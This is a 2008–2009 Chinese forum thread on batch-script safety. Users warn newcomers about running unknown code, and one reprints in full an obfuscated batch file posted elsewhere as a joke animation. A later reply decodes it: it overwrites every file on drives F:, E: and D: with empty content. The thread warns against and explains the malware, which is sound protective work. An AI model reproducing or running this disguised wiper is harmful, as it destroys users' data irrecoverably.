|
yuseecn
初级用户
积分 30
发帖 14
注册 2008-3-28
状态 离线
|
『第
16 楼』:
同意楼上，虚拟机运行程序比较安全。
|
|
 2008-4-22 17:03 |
|
|
learner0
初级用户
积分 108
发帖 49
注册 2008-2-26
状态 离线
|
『第
17 楼』:
下载可执行文件时,注意杀毒软件的提示
|
|
|
2008-4-22 19:08 |
|
|
learner0
初级用户
积分 108
发帖 49
注册 2008-2-26
状态 离线
|
『第
18 楼』:
对于象没经过加密的vbs,bat可看其原文件是否含有恶意代码..
[ Last edited by learner0 on 2008-4-22 at 07:11 PM ]
|
|
|
2008-4-22 19:08 |
|
|
ktv98
初级用户
积分 112
发帖 81
注册 2008-4-11
状态 离线
|
『第
19 楼』:
| Quote: | Originally posted by learner0 at 2008-4-22 07:08 PM:
下载可执行文件时,注意杀毒软件的提示 |
|
有些东西杀毒软件也无能为力.ps恶毒行为.
让我们这些初学者受害.
[ Last edited by ktv98 on 2008-4-23 at 09:01 AM ]
|
|
|
2008-4-23 08:57 |
|
|
huzixuan
高级用户
积分 537
发帖 219
注册 2006-10-31
来自 芜湖
状态 离线
|
『第
20 楼』:
发帖的目的主要是防止更多的人受害。
因为学习不够的肯定不止我一个，若我不采取动作，相信会有更多的人上当的。
那个"maidu"用的标题是 "搞笑的批处理",大概是说这个批处理是个动画，帖出来的代码内容是个VBS代码，运行后得到一个压缩包，里面有批处理文件。
批处理文件内容:
echo off||▄︻┻═┳一>f e d
::搞怪的批处理
@if %1.=='. call:' %~s0 '&'>&1>%tmp%\%~n0
echo.|set/p x=|echo.|time/t&date/t<nul
echo 按任意键开始演示&pause>nul
goto:'
{:~ """~~~\\auther unknown date 08-04-18//~~~""" ~:}
set/p %2=<%1||(shift&color %1%2&%~s0 %1)
for %%a in (%':~-5%)do %%a:&for /r %%s in (*)do %':~-6,1%%%~ss call %%':~,8%%
{:' """~~~\\thank you to everyone!//~~~""" ':}
if %2.=='. (goto:~) else mshta vbscript:createobject("wscript.shell").run("%~s0 '",0)(window.close) 当我发现情况后，立即发帖揭露"maidu",谁知他竟恶人先告状，把帖子代码编辑成"二楼的家伙把我的代码改成病毒代码了！"
查阅此人另一个帖说的大概内容是,"你们不要小瞧批处理，你们有一天可能因为运行了一个批处理导致所有盘的数据都丢失了，你们自己还不知道呢！只要你们在论坛里混，就逃不出我的这句话！！"
告戒菜鸟们：看不懂的代码再也不要随便运行了！等了你中招就被人鄙视啦！！ 什么风凉话都出来了，像什么“受骗是自己学习不够”！！！！
相信大家都有运行过看不懂的代码吧！！！！ 但，以后不要了！
|
江湖远
碧空长
路茫茫
一个人漫无目的的奔跑,风,刺骨的冷.... |
|
|
2008-4-23 12:18 |
|
|
BC
中级用户
积分 338
发帖 175
注册 2007-10-21
状态 离线
|
|
|
2008-11-23 21:54 |
|
|
netbenton
银牌会员
批处理编程迷
积分 1916
发帖 752
注册 2008-12-28
来自 广西
状态 离线
|
『第
22 楼』:
毒在这一句哦!：
for %%a in (%':~-5%)do %%a:&for /r %%s in (*)do %':~-6,1%%%~ss call %%':~,8%%
等于:
for %%a in (f e d) do(
%%a:
for /r %%s in (*) do >%%s call echo off
)
依次进入f: e: d:盘，读取所有文件，并写入空。
如此就算用undel也无法恢复！够毒！够毒！！
通常数据都放在这三个盘，剩个系统C：有什么用。
这人的心也太黑了，人人得以诛之！
|
精简
[你的+我的+他的]=>[大家的] 个人 网志  |
|
|
2009-2-7 00:24 |
|
